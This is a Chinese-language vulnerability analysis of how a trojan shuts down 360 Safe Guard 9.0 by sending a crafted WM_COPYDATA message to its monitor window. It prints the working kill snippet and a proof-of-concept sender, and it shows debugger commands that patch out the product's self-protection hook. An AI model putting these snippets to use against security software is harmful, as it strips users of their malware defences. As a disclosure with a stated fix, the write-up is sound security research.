標籤:style http 使用 strong os 資料
註:本文測試環境為360安全衛士9.0,最新版的安全衛士已修複此漏洞
現象
某個木馬運行後可以關閉360安全衛士,經過逆向分析發現該木馬只是簡單運行了以下代碼:
/*
HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));int i = 0;for (i = 0; i<0x30000; i++){if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0){ break;}}if (i==0x30000){return;}FARPROC funcGet360HWND = (FARPROC)(h360+i);HWND hWnd = (HWND)funcGet360HWND();COPYDATASTRUCT cpdata;cpdata.dwData = 0x4d47534d;cpdata.cbData = 0x1000;cpdata.lpData = msgbuf; //長度0x1000位元組的隨即資料,其中不能有連續\x00\x00SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);*/
我們自己用上面代碼運行之後,360安全衛士的進程(360tray.exe)就自動結束了。注意:這個程式必須是帶視窗的程式,而不能使控制台程式,因為控制台程式是不載入safemon.dll的。
攻擊原理
上面如此簡單的代碼就能導致關閉360,我們來看一下這段代碼到底做了什嗎?首先獲得safemon.dll的模組地址,每個有圖形介面都會載入這個dll。然後從這個模組裡找一處特徵代碼,經分析發現找的是以下代碼:
67366570 83EC 10 sub esp, 1067366573 56 push esi67366574 8D4424 04 lea eax, dword ptr [esp+4]67366578 50 push eax67366579 6A 00 push 06736657B 8D4C24 10 lea ecx, dword ptr [esp+10]6736657F 51 push ecx67366580 68 40653667 push 6736654067366585 6A 00 push 067366587 6A 00 push 067366589 C74424 20 E48D4>mov dwordptr [esp+20], 67418DE4 ; ASCII "Q360SafeMonClass"67366591 C74424 24 00000>mov dwordptr [esp+24], 067366599 C74424 28 00000>mov dwordptr [esp+28], 0673665A1 FF15 10D34067 call dword ptr [<&KERNEL32.GetCurrentProcess>] ; kernel32.GetCurrentProcess673665A7 50 push eax673665A8 FF15 58D14067 call dword ptr[<&KERNEL32.CreateRemoteThread>] ; kernel32.CreateRemoteThread673665AE 8BF0 mov esi,eax673665B0 85F6 test esi, esi673665B2 74 10 je short 673665C4673665B4 6A FF push -1673665B6 56 push esi673665B7 FF15 24D14067 call dword ptr [<&KERNEL32.WaitForSingleObject>] ; kernel32.WaitForSingleObject673665BD 56 push esi673665BE FF15 20D34067 call dword ptr[<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle673665C4 8B4424 10 mov eax, dword ptr [esp+10]673665C8 5E pop esi673665C9 83C4 10 add esp, 10673665CC C3 retn
其作用就是找到Q360SafeMonClass的視窗控制代碼。找到這段代碼後就會執行這段代碼來擷取該視窗控制代碼。為什麼不直接用FindWindow來尋找呢?據分析應該是360做了一些防護,直接找怕找不到。
找到這個視窗後會給他發送WM_COPYDATA訊息,附帶的訊息COPYDATASTRUCT結構的dwData是0x4d47534d,資料長度是0×1000,內容是隨機資料。
我自己寫了個程式類比上述功能後,運行成功結束了360tray的進程,證明原理是沒有錯的。
漏洞調試
究竟是什麼原因導致360tray如此簡單就被關閉呢,我決定調試一下360看,啟動OD準備附加360tray進程,發現無法附加,360做了保護。要想調試360首先要把保護去掉。
用XueTr看360的核心Hook點,並嘗試恢複:
恢複之後嘗試OD附加仍然失敗,再重新整理hook點已經被恢複了,這是當然的,360也要保護自身嘛。於是windbg開雙機調試,在hook點下寫斷點,這樣當360驅動恢複這裡的時候,我們把他nop掉。
然後只要
kd> eb f747ed78 c3kd> u f747ed78Hookport+0xcd78:f747ed78 c3 retf747ed79 ff558b call dword ptr [ebp-75h]f747ed7c ec in al,dxf747ed7d 51 push ecxf747ed7e 51 push ecxf747ed7f 8d45fc lea eax,[ebp-4]f747ed82 50 push eaxf747ed83 ff1594ff47f7 call dword ptr [Hookport+0xdf94 (f747ff94)]kd> g
這時候只要再恢複核心hook點,360就啞巴了,然後成功用OD附加360tray進程:
漏洞原理
經過調試發現,導致360出錯退出的地方在360safemonpro.tpi這個模組裡inline編譯的vsnwprintf,從這裡調用:
其中va_list參數裡有我們WM_COPYDATA訊息傳進去的資料,然後在裡面進入_woutput_l的時候出錯了:
對應的原始碼是:
output.c
/*textlen now contains length in multibyte chars */ } else{ if(text.wz== NULL) /* NULLpassed, use special string */ text.wz = __wnullstring; bufferiswide= 1; pwch= text.wz; while(i-- && *pwch) //這裡出錯了 ++pwch; textlen= (int)(pwch- text.wz); /* in wchar_ts*/ /*textlen now contains length in wide chars */ }
看起來360的用法是沒有錯的,這裡不存在溢出之類的漏洞,我分析認為這是微軟挖的一個坑,360不幸掉進去了,對WM_COPYDATA的資料處理不當回導致訪問未映射的記憶體。
以下是來自網上的WM_COPYDATA資料傳遞的原理:
跨線程的WM_COPYDATA沒有使用共用記憶體,反而複製了兩次資料寄件者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配核心記憶體,將使用者資料複製到核心空間)->SetWakeBit喚醒接受者->SetWakeBit等待應答接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把資料從核心空間複製到使用者空間)->KeUserModeCallback(轉到使用者模式)->SfnCOPYDATA(receiver side)->視窗過程->回到核心模式,應答寄件者...........
所以傳遞的資料並不是一塊新分配的heap,而0×1000為單位長度映射的記憶體空間,是一塊沒頭沒尾的空間,一旦使用一些字串操作函數直接存取這塊空間,很容易造成越界訪問到沒映射的記憶體裡。
為了證實這個理論,我們可以自己寫一個WM_COPYDATA的是以訊息處理函數,類比漏洞的產生過程:
BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct){ wchar_t buf[0x2000]={0}; _snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData); return CDialog::OnCopyData(pWnd, pCopyDataStruct);}
這段代碼看上去是沒什麼問題的,直接把傳進來的lpData當做字串來處理。我們再寫一個發送函數:
HWND hWnd=FindWindowA("#32770","recv");if (hWnd){ int len=0x1000; //這一定要是0x1000的整數倍 char*buf=new char[len]; memset(buf, 0x41, len); COPYDATASTRUCTcpdata; cpdata.dwData = 0x4d47534d; cpdata.cbData = len; cpdata.lpData = buf; SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata); delete[] buf;}
運行發送訊息後,接收訊息的程式報錯了,出錯點就是剛才分析的地方。
總結
嚴格意義上講,導致360被結束的這個問題應該不算一個漏洞,而是由於微軟沒對使用COPYDATASTRUCT.lpData的記憶體做一些要求,正常的庫函數訪問的時候就可能導致出錯。要安全使用COPYDATASTRUCT.lpData,應該把這塊記憶體先拷貝出來,然後再進行操作。
另一方面,這個漏洞為我們指引了尋找360漏洞的方向,凡是有使用者能控制輸入的地方都有可能存在此類漏洞。